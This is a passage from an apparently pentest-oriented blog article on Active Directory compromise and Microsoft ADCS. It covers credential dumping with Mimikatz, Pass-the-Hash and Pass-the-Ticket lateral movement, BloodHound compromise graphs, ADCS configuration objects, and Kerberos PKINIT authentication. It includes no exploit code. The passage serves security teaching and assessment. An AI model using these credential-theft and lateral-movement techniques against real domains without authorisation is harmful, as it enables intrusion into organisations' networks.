<p>Various tools, such as <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> and <a href="https://www.passcape.com/windows_password_recovery">Windows Password Recovery</a>, allow users with local administration rights to extract the aforementioned authenticators from the memory:</p>
<figure id="post-15992 media-15992" class="align-none"><img loading="lazy" decoding="async" class=" wp-image-15992 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01.png" alt="" width="449" height="365" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01.png 688w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01-235x191.png 235w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01-155x125.png 155w" sizes="auto, (max-width: 449px) 100vw, 449px" /></figure>
<p class="TitreFigure2" style="text-align: center;"><em><span lang="EN-US">Mimikatz extracting authenticators from lsass.exe process memory</span></em></p>
<p>These authenticators in turn can be used to log in onto other workstations and servers, using techniques such as <a href="https://en.hackndo.com/pass-the-hash/">Pass-the-Hash</a> or <a href="https://attack.mitre.org/techniques/T1550/003/">Pass-the-Ticket</a>. The use of these techniques is included in what is called <span style="color: #005572;"><strong>Lateral Movement</strong></span> and allows progressing from low-privileged assets to high-privileged ones.</p>
<p>&nbsp;</p>
<h3><a name="section-1-2-2"></a>&#8230; to compromise graphs</h3>
<p>In a grey box approach, a pentester would usually be provided with a standard network access, a domain-joined workstation and a basic user account. Assuming local administration rights are somehow obtained, the pentester would then gather:</p>
<ul>
<li>The <span style="color: #005572;"><strong>local accounts’ credentials</strong></span> in the SAM database (NT hashes)</li>
<li>The <span style="color: #005572;"><strong>local and domain accounts’ authenticators</strong></span> which recently logged in (NT hashes and Kerberos tickets, even cleartext passwords under some conditions)</li>
</ul>
<p>Using this newly found credential, the next objective is to try using them on the other assets in the domain. If this works, <strong>the operation can be repeated</strong>, each time gaining <strong>more and more foothold on the domain</strong>.</p>
<p>This progression is quite easily performed by hand in a lab domain a limited number of workstations and servers but cannot be humanly feasible in a real-life domain with hundreds of servers and thousands of users and workstations (without mentioning domain trusts, etc.). This is where graph theory comes into play, with the following equivalents:</p>
<ul>
<li><span style="color: #005572;"><strong>Vertices</strong> </span>(nodes) represent domain assets: user objects, computer objects and group objects</li>
<li><span style="color: #005572;"><strong>Oriented edges</strong></span> connect two vertices when one has the ability to compromise the other (also called <span style="color: #005572;"><strong>control path</strong></span>)</li>
</ul>
<p>With such a graph, one would quite easily <strong>find</strong> (if it exists),<strong> the shortest path from a basic user account to a high-privileged principal</strong> on the domain. The only remaining task would be to exploit it. A path from one principal to another is called a compromise path, and the set of compromise paths between two principals represent all the means at one’s disposal to compromise the latter starting from the former:</p>
<figure id="post-16065 media-16065" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16065 size-medium" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-437x131.png" alt="" width="437" height="131" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 860w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>
<p class="TitreFigure2" style="text-align: center;"><em><span lang="EN-US">Compromise paths between a user and a member of the Domain Admins group</span></em></p>
<p>&nbsp;</p>
<h3><a name="section-1-2-2"></a>Drafting the domain compromise graph</h3>
<p>In order to build the domain compromise graph, a list of possible edge types has to be defined. Lateral movement using credential dumping is often central, but it is not the only way of compromising principals. The current list includes (but is not limited to):</p>
<ul>
<li>Domain <strong>group membership</strong></li>
<li>Being<strong> local administrator</strong> of a target</li>
<li>Having an <strong>open session</strong> on a target</li>
<li>Ability to <strong>connect </strong>to a target <strong>using RDP</strong> (generally implicitly combined with the ease of privilege escalation)</li>
<li>Domain <strong>principal ownership</strong></li>
<li><strong>Permissive Access Control Entries</strong> (ACEs) over domain objects: GenericAll, GenericWrite, WriteProperty, etc.</li>
<li>“<strong>By design</strong>” compromise paths from built-in groups: Server Operators, Backup Operators, DNS Admins, etc.</li>
</ul>
<p>Building domain compromise graphs is particularly difficult to perform by hand, especially on large domains. There exist tools that help building these graphs and adding edges to find compromise paths.</p>
<p>Although many tools exist (Tenable.ad, AD-Control-Paths, PingCastle), the most famous one is BloodHound, and it leverages most of known techniques used to compromise accounts:</p>
<figure id="post-15996 media-15996" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15996 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03.png" alt="" width="834" height="385" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03.png 834w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03-414x191.png 414w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03-768x355.png 768w" sizes="auto, (max-width: 834px) 100vw, 834px" /></figure>
<p style="text-align: center;"><em>Example graph generated by BloodHound</em></p>
<p>&nbsp;</p>
<h1><a name="section-2"></a>Deep dive into Microsoft ADCS</h1>
<h2><a name="section-2-1"></a>What is ADCS?</h2>
<p><span style="color: #005572;"><strong>Microsoft Active Directory Certificate Services</strong></span> (ADCS) is a role that can be given to servers who will act as <span style="color: #005572;"><strong>Certification Authorities</strong></span> (CA) in the forest. It integrates naturally within the forest, which means that there are domain objects that represents the different actors involved in a PKI lifecycle, and Access Control Lists regulating the interactions between these actors:</p>
<ul>
<li>Certificate template management</li>
<li>Certificate enrolment</li>
<li>Certificate revocation</li>
<li>CRL publication</li>
<li>etc.</li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-2-2"></a>How does ADCS operate?</h2>
<p>The ADCS server role is installed on every server that is to act as a CA. When installing the ADCS role, the administrator is presented with twochoices: first, either install a<strong> Standalone</strong> or an <strong>Enterprise </strong><em>CA</em>:</p>
<figure id="post-15998 media-15998" class="align-none"><img loading="lazy" decoding="async" class=" wp-image-15998 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04.png" alt="" width="500" height="160" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04-437x140.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04-768x245.png 768w" sizes="auto, (max-width: 500px) 100vw, 500px" /></figure>
<p style="text-align: center;"><em>CA setup type choice</em></p>
<p>&nbsp;</p>
<p>Then, in the case of an enterprise CA, it can be positioned as a <strong>Root CA </strong>or <strong>Subordinate CA</strong>:</p>
<figure id="post-16000 media-16000" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16000 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05.png" alt="" width="494" height="163" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05-437x144.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05-768x254.png 768w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>
<p style="text-align: center;"><em>CA type choice</em></p>
<p>&nbsp;</p>
<p>This article will focus on the Enterprise Root CA, for which the configuration is split between two places:</p>
<ul>
<li><span style="color: #005572;"><strong>Active Directory</strong></span>, in which information global to the PKI infrastructure is stored: names and location of CA servers, global rights, etc.</li>
<li>The <span style="color: #005572;"><strong>Windows servers on which the ADCS role is installed</strong></span>, on which the day-to-day configuration parameters specific to this Certification Authority are stored: CA administration rights, certificate emission parameters, etc.</li>
</ul>
<p>&nbsp;</p>
<h3><a name="section-2-2-1"></a>Active Directory: Public Key Services</h3>
<p>In Active Directory, the configuration is stored under the following location (Configuration partition, thus defined at forest-level):</p>
<pre class="w-code">CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local</pre>
<p>The configuration can be viewed using the <code>adsiedit.msc</code> component in the MMC:</p>
<figure id="post-16002 media-16002" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16002 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06.png" alt="" width="543" height="184" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06.png 658w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06-71x24.png 71w" sizes="auto, (max-width: 543px) 100vw, 543px" /></figure>
<p style="text-align: center;"><em>Global PKI configuration in Active Directory</em></p>
<p>&nbsp;</p>
<h4>Certificate templates</h4>
<p>The <span style="color: #005572;"><strong>CertificateTemplate</strong></span> container has one domain object of type <code>pKICertificateTemplate</code> for every template to be shared amongst the enterprise Certification Authorities. These templates define, through <strong>attributes </strong>configured on their domain object, a <strong>set of policies</strong> that mostly describe and constrain:</p>
<ul>
<li><strong>General settings:</strong> the validity period of the delivered certificates</li>
<li><strong>Request handling:</strong> the purpose of the certificate and the ability to export the private key (although this can be bypassed if the private key is generated prior to the certificate request, for example with the <code>certreq</code> binary)</li>
<li><strong>Cryptography:</strong> the Cryptographic Services Provider (CSP) to be used and the minimum key size</li>
<li><strong>Extensions:</strong> the list of X509v3 extensions to be included in the certificate, and their criticality (including the <code>KeyUsage</code> and <code>ExtendedKeyUsages</code>)</li>
<li><strong>Subject name</strong>, which dictates how the Distinguished Name of the certificate is built: either from a user-supplied value in the request, or from the identity of the domain principal requesting the certificate</li>
<li><strong>Issuance requirements</strong><em>:</em> the need for a “CA certificate manager” approval in order to deliver the certificate</li>
<li><strong>Security descriptor</strong><em>:</em> the ACL of the certificate template, including the identity of the principals who have the extended right needed to enroll to the template</li>
</ul>
<figure id="post-16008 media-16008" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16008 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09.png" alt="" width="321" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09-219x191.png 219w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09-45x39.png 45w" sizes="auto, (max-width: 321px) 100vw, 321px" /></figure>
<p style="text-align: center;"><em>Access Control List of a pKICertificateTemplate object</em></p>
<p>&nbsp;</p>
<h4>Enrollment services</h4>
<p>The <span style="color: #005572;"><strong>Enrollment Services</strong></span> provides domain principals with the list of enterprise ADCS servers with the domain, under the following naming convention:</p>
<pre class="w-code">CN=&lt;CA name&gt;,CN=Enrollment Services,CN=Public Key Services,...</pre>
<p>The attributes of these objects describe these Certification Authorities, how the principals can reach them, and what they are authorized to do:</p>
<ul>
<li>The <code>dNSHostName</code> attribute corresponds to the FQDN (or alias) of the ADCS server</li>
<li>The <code>certificateTemplates</code> attribute lists a <strong>subset of the Certificate Templates</strong> that the principals are allowed to request certificates for from this Certification Authority</li>
<li>The <strong>Security Descriptor</strong> (available through the “Security” tab) lists the actions that principals are allowed to do on the Certification Authority or the current domain object: enroll, modify the list of certificate templates, etc.</li>
</ul>
<figure id="post-16010 media-16010" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16010 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10.png" alt="" width="447" height="253" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10.png 634w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10-337x191.png 337w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10-69x39.png 69w" sizes="auto, (max-width: 447px) 100vw, 447px" /></figure>
<p style="text-align: center;"><em>pKIEnrollmentService object</em></p>
<p>&nbsp;</p>
<h4>NtAuth enterprise store</h4>
<p>The <span style="color: #005572;"><strong>NtAuthCertificates </strong></span>is a domain object which contains a<strong> list of CA certificates</strong> (in the <code>cACertificate</code> attribute). This list dictates <strong>which certificates will be valid for authentication purposes</strong> across the domain, as authentication services will look for the <strong>direct issuer CA</strong> within this enterprise store:</p>
<figure id="post-16012 media-16012" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16012 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11.png" alt="" width="394" height="224" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11.png 500w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11-69x39.png 69w" sizes="auto, (max-width: 394px) 100vw, 394px" /></figure>
<p style="text-align: center;"><em>NtAuth store contents</em></p>
<p>&nbsp;</p>
<p>It is important to note that workstations and servers (including Domain Controllers) keep a<strong> local cached</strong> version of this store in the Windows Registry, at the following location:</p>
<pre class="w-code">HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates</pre>
<p>Any update will not be replicated unless the following command is issued locally (or after a while when the machine GPO is refreshed):</p>
<pre class="w-code">gpupdate /force</pre>
<h4></h4>
<h4>Other enterprise certificate stores</h4>
<p>The <strong>Certification Authorities</strong> and <strong>AIA </strong>(Authority Information Access) containers correspond respectively to the <strong>Root Certification Authorities</strong> and <strong>Intermediate Certification Authorities</strong> certificate stores for the domain. Every object present in these stores has its <code>cACertificate</code> attribute set to the certificate of said authority. This enterprise store is automatically replicated within the local stores of domain workstations and servers. Additional parameters, such as <code>crossCertificatePair</code>, can be also set in some cases.</p>
<figure id="post-16004 media-16004" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16004 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07.png" alt="" width="526" height="265" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07.png 722w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07-71x36.png 71w" sizes="auto, (max-width: 526px) 100vw, 526px" /></figure>
<p style="text-align: center;"><em>certificationAuthority object</em></p>
<p>&nbsp;</p>
<h4>Certificate revocation list</h4>
<p>The <span style="color: #005572;"><strong>CDP</strong> </span>(CRL Distribution Point) container aims at providing the domain with <strong>Certificate Revocation Lists</strong> for each enterprise ADCS server installed. Therefore, each sub-container has an object, which contains the CRL (optionally delta CRL) in the <code>certificateRevocationList</code> (optionally <code>deltaRevocationList</code>), named as follows:</p>
<pre class="w-code">CN=&lt;CA name&gt;,CN=&lt;ADCS server&gt;,CN=CDP,CN=Public Key Services,...</pre>
<figure id="post-16006 media-16006" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16006 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08.png" alt="" width="462" height="237" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08.png 723w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08-372x191.png 372w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08-71x36.png 71w" sizes="auto, (max-width: 462px) 100vw, 462px" /></figure>
<p style="text-align: center;"><em>cRLDistributionPoint object</em></p>
<p>&nbsp;</p>
<h4>Miscellaneous objects</h4>
<p>The <strong>KRA </strong>(Key Recovery Agent) and <strong>OID </strong>containers describe objects and parameters vital to the ADCS servers, but on which <strong>focus is not mandatory in this context</strong>.</p>
<p>&nbsp;</p>
<h3><a name="section-2-2-2"></a>ADCS server: local configuration</h3>
<p>In addition to the global configuration stored in Active Directory, each ADCS server can be <strong>locally configured</strong> to tune its behavior regarding day-to-day operations. These rights allow users and groups to perform various actions linked to the Certification Authority, such as:</p>
<ul>
<li>Certificate request validation</li>
<li>Certificate revocation</li>
<li>Certificate Revocation List (CRL) publication</li>
<li>Certification Authority renewal</li>
<li>etc.</li>
</ul>
<p>This extensive set of rights is organized under roles, which limits the fine tuning of access rules but provides a <strong>Role Based Access Control</strong> (RBAC) mechanism. The following matrix summarizes the 4 roles and the main actions associated with them:</p>
<figure id="post-16014 media-16014" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16014 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12.png" alt="" width="1040" height="297" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12.png 1040w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12-437x125.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12-768x219.png 768w" sizes="auto, (max-width: 1040px) 100vw, 1040px" /></figure>
<p style="text-align: center;"><em>Local rights matrix for ADCS servers</em></p>
<p>&nbsp;</p>
<p>The attribution of roles to users and groups can be configured from the “properties” contextual menu of the Certification Authority instance (using the <code>certsrv.msc</code> MMC component):</p>
<figure id="post-16016 media-16016" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16016 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13.png" alt="" width="480" height="320" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13.png 595w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13-58x39.png 58w" sizes="auto, (max-width: 480px) 100vw, 480px" /></figure>
<p style="text-align: center;"><em>Local attribution of roles on the CA server</em></p>
<p>&nbsp;</p>
<p>Access to these configuration parameters and global PKI operation can be mostly performed remotely using Remote Procedure Call (RPC), via the Microsoft Management Console (MMC).</p>
<p>&nbsp;</p>
<h3><a name="section-2-2-3"></a>Mixing it all together!</h3>
<p>The heart of the day-to-day interactions with ADCS and CA servers resides in the <strong>certificate templates</strong> and <strong>enrollment services</strong>:</p>
<ul>
<li>Each <strong>enrollment service</strong> links to a <strong>CA server</strong> with the ADCS role – <strong>additional settings</strong> can be configured <strong>locally</strong> on a per-server basis, mainly stored in the registry</li>
<li>The <strong>enrollment service</strong> lists a <strong>subset of the certificate templates</strong> published:</li>
</ul>
<p><img loading="lazy" decoding="async" class="wp-image-16081 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png" alt="" width="874" height="228" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 1078w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-437x114.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_24_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-768x200.png 768w" sizes="auto, (max-width: 874px) 100vw, 874px" /></p>
<p style="text-align: center;"><em>ADCS operation overview</em></p>
<p>&nbsp;</p>
<p>Finally, in order to request a certificate, the user / computer must: ​</p>
<ul>
<li>Have the <strong>enrollment rights </strong>on the <strong><strong>Enrollmen</strong></strong><strong>t Service</strong></li>
<li><em>And</em> have the <strong>enrollment rights</strong> on the <strong>target Certificate Template</strong>​</li>
<li>Be able to reach the CA server on <strong>port 135</strong> (RPC) and <strong>high dynamic ports</strong> (usually start at 49152)</li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-2-3"></a>Kerberos, smartcard logon and certificate authentication</h2>
<h3><a name="section-2-3-1"></a>Kerberos 101</h3>
<p>Authentication in Active Directory is mostly performed using one two authentication protocols:</p>
<ul>
<li>The NTLM challenge-response, solely based on the NT hash of the principal</li>
<li>Kerberos – a protocol originally designed by the MIT – which uses tickets and secrets keys</li>
</ul>
<p>In its most simple form, Kerberos operates as follows:</p>
<ol>
<li>An <strong>Active Directory principal</strong> (user, computer) emits an <span style="color: #005572;"><strong>AS-REQ</strong></span> request to the <strong>Authentication Service (AS)</strong>; this request contains a pre-authentication message that validates the principal’s identity</li>
<li>If the authentication succeeds, the <strong>AS</strong> replies with an <span style="color: #005572;"><strong>AS-REP</strong></span> which includes a <strong>Ticket-Granting-Ticket (TGT)</strong> delivered by the <strong>Key Distribution Center (KDC)</strong></li>
<li>The principal then sends <span style="color: #005572;"><strong>TGS-REQ</strong></span> requests to the <strong>Ticket-Granting-Service (TGS)</strong>, including the <strong>TGT</strong>, to ask for an ticket built for an <strong>Active Directory service</strong> – an AD principal whose <code>servicePrincipalName</code> attribute is not empty</li>
<li>The <strong>KDC </strong>replies with an <span style="color: #005572;"><strong>TGS-REP</strong></span> which includes a <strong>Service Ticket (ST)</strong> encrypted with the service’s secret key (RC4 key (NT Hash), AES-256 key, etc.)</li>
<li>The principal can authenticate to said service with an <span style="color: #005572;"><strong>AP-REQ</strong></span> request by sending the <span style="color: #000000;"><strong>ST</strong></span>, which will be decrypted by the service to identify the client principal</li>
<li>If everything is in order, the service replies with an <span style="color: #005572;"><strong>AP-REP</strong></span> message:</li>
</ol>
<figure id="post-16084 media-16084" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16084 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png" alt="" width="471" height="470" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 563w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-191x191.png 191w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-39x39.png 39w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-32x32.png 32w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-64x64.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-96x96.png 96w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-128x128.png 128w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-70x70.png 70w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-175x175.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-130x130.png 130w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-115x115.png 115w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_29_55-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-30x30.png 30w" sizes="auto, (max-width: 471px) 100vw, 471px" /></figure>
<p style="text-align: center;"><em>Kerberos authentication graphical representation</em></p>
<p>&nbsp;</p>
<h3><a name="section-2-3-2"></a>Introducing PKINIT</h3>
<p>The type of pre-authentication to be used is described in the <code>padata-type</code> field of the <code>AS-REQ</code> request. The most common value is <code>PA-ENC-TIMESTAMP</code>, which works by <span style="color: #005572;"><strong>encrypting a timestamp token with one of the user’s secrets</strong></span> (NT hash, AES key, etc.). The complete list of values that can be used within a Microsoft environment is detailed in <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/ae60c948-fda8-45c2-b1d1-a71b484dd1f7">[MS-KILE]</a>.</p>
<p>Kerberos authentication using smartcards relies on the <code>PA-PK-AS-REQ</code> value and uses the <span style="color: #005572;"><strong>PKINIT </strong></span><a href="https://tools.ietf.org/html/rfc4556">[RFC4556]</a> protocol. This protocol defines how public key cryptography can be used as a pre-authentication mechanism in Kerberos, whereas usually it uses symmetric cryptographic protocols (using shared secrets derived from the password).</p>
<p><span style="color: #005572;"><strong>PKINIT </strong></span>needs to identify the authenticating Active Directory object based on sent elements, as described below:</p>
<figure id="post-16087 media-16087" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16087 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png" alt="" width="374" height="166" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 672w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-431x191.png 431w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-15_33_03-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-71x31.png 71w" sizes="auto, (max-width: 374px) 100vw, 374px" /></figure>
<p style="text-align: center;"><em>Global overview of PKINIT operating</em></p>
<p>&nbsp;</p>
<p>Like in the standard mode, a<strong> timestamp token is generated </strong>that will later ensure the freshness of the authentication. <strong>This token is signed</strong> with the user’s private key,<strong> the corresponding certificate is sent in the AS-REQ packet</strong> and, depending on the type of mapping intended (explicit or implicit), either a principal name or hints that can be used to locate the principal. The detailed operating of the implicit and explicit mappings is described below:</p>
<figure id="post-16089 media-16089" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16089 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50.png" alt="" width="538" height="709" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50.png 538w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50-145x191.png 145w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/50-30x39.png 30w" sizes="auto, (max-width: 538px) 100vw, 538px" /></figure>
<p style="text-align: center;"><em>Details of PKINIT operating (<a href="https://docs.microsoft.com/en-us/windows/security/identity-protection/smart-cards/smart-card-certificate-requirements-and-enumeration">source</a>)</em></p>
<p>&nbsp;</p>
<p>Once the Active Directory object is located, depending on the path taken, the certificate will have to meet the NT_AUTH policy, i.e. having its <strong>direct issuer’s certificate included in the NtAuth enterprise store</strong>.</p>
<p>Then, the authentication server will verify that the certificate «&nbsp;Enhanced Key Usage&nbsp;» extension contains either “<span style="color: #005572;"><strong>Client Authentication</strong></span>” (<code>1.3.6.1.5.5.7.3.2</code>), “<span style="color: #005572;"><strong>Microsoft Smartcard Logon</strong></span>” (<code>1.3.6.1.4.1.311.20.2.2</code>), “<span style="color: #005572;"><strong>Key Purpose Client Auth</strong></span>” (<code>1.3.6.1.5.2.3.4</code>) or “<span style="color: #005572;"><strong>Any purpose</strong></span>” (<code>2.5.29.37.0</code>).</p>
<p>Finally, the KDC will verify that the certificate provided <strong>links to a trusted root Certification Authority</strong>, is <strong>valid </strong>(dates and revocation) and that the <strong>signature of the timestamp token is cryptographically correct</strong>. If all checks pass, the user is provided with a TGT for the located AD object.</p>
<p>&nbsp;</p>
<h3><a name="section-2-3-3"></a>Using PKINIT in real life</h3>
<p>The <span style="color: #005572;"><strong>PKINIT </strong></span>protocol is automatically used when smartcard logon is performed. The authentication GUI detects that a smartcard can be used, and, if the user provides the correct PIN, <strong>uses the embedded private key to sign the pre-authentication data</strong>.</p>
<p>By default, only the associated certificate is sent but administrators can enable the use of “name hints” through local policies (<em>Computer Configuration &gt; Administrative templates &gt; Windows components &gt; Smartcard &gt; Allow username hints</em>):</p>
